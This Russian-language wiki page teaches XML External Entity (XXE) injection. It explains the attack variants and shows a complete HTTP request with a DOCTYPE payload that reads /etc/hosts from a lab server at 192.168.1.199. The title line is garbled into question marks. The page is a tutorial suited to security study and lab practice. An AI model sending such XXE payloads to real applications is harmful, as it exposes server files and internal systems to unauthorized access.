????????? ??????? ????????? XML

Внешние сущности XML — это тип пользовательских сущностей XML, определенные значения которых загружаются вне DTD (англ. Document Type Definition), в котором они объявлены. Внешние сущности особенно интересны с точки зрения безопасности, так как они позволяют определить сущность, основываясь на содержимом пути к файлу или URL.

XML External Entity, XXE – уязвимость, позволяющая вмешиваться в обработку XML-данных приложения. Часто она позволяет просматривать файлы на сервере приложений, а также взаимодействовать с любыми внутренними или внешними системами, к которым имеет доступ само приложение. Вариации атак:

- Получения файлов, где определяется внешняя сущность, содержащая содержимое файла, и возвращается в ответе приложения.
- Выполнения SSRF атак, где внешняя сущность определяется на основе URL на внутреннюю систему.
- Использование слепой инъекции XXE с отправкой данных за рамки клиент-серверного приложения, где конфиденциальные данные передаются с сервера приложения на систему, контролируемую злоумышленником.
- Использование слепого XXE для получения данных с помощью сообщений об ошибках, где злоумышленник может вызвать сообщение об ошибке разбора, содержащее конфиденциальные данные.
- Проведения атак отказа в обслуживании.

Приложения, использующие формат XML для передачи данных, часто используют стандартную библиотеку или платформенный API для обработки XML-данных на сервере. Спецификация XML содержит различные потенциально опасные функции, и стандартные парсеры поддерживают эти функции, даже если они обычно не используются приложением.

Полезные нагрузки

Для выполнения атаки XXE-инъекции для считывания произвольного файла сервера необходимо изменить представленный XML в следующей последовательности:

- Ввести или отредактировать элемент DOCTYPE, который определяет внешнюю сущность, содержащую путь к файлу.
- Отредактировать значение данных в XML, которое возвращается в ответе приложения, чтобы использовать определенную внешнюю сущность.

Для корректного использования нужно изучить используемые опасные конструкции XML.

```
POST /order.php HTTP/1.1
Host: 192.168.1.199:1337
Content-Length: 255
X-Requested-With: XMLHttpRequest
Accept-Language: ru-RU,ru;q=0.9
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.1.199:1337
Referer: http://192.168.1.199:1337/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE order [<!ENTITY file SYSTEM 'file:///etc/hosts'>]>
  <order>
    <name>first</name>
    <email>first@ya.ru</email>
    <phone>+79528486357</phone>
    <comment>&file;</comment>
    <productID>Beginer</productID>
    <price>5</price>
  </order>
```

Дополнительная информация

- Больше об XML сущностях
- PayloadsAllTheThings - XXE Injection
- Обзор уязвимости XXE и ее вариаций
- Практика на платформе portswigger

Revision #4
Created 28 September 2025 13:47:15 by Admin
Updated 28 September 2025 16:30:53 by Admin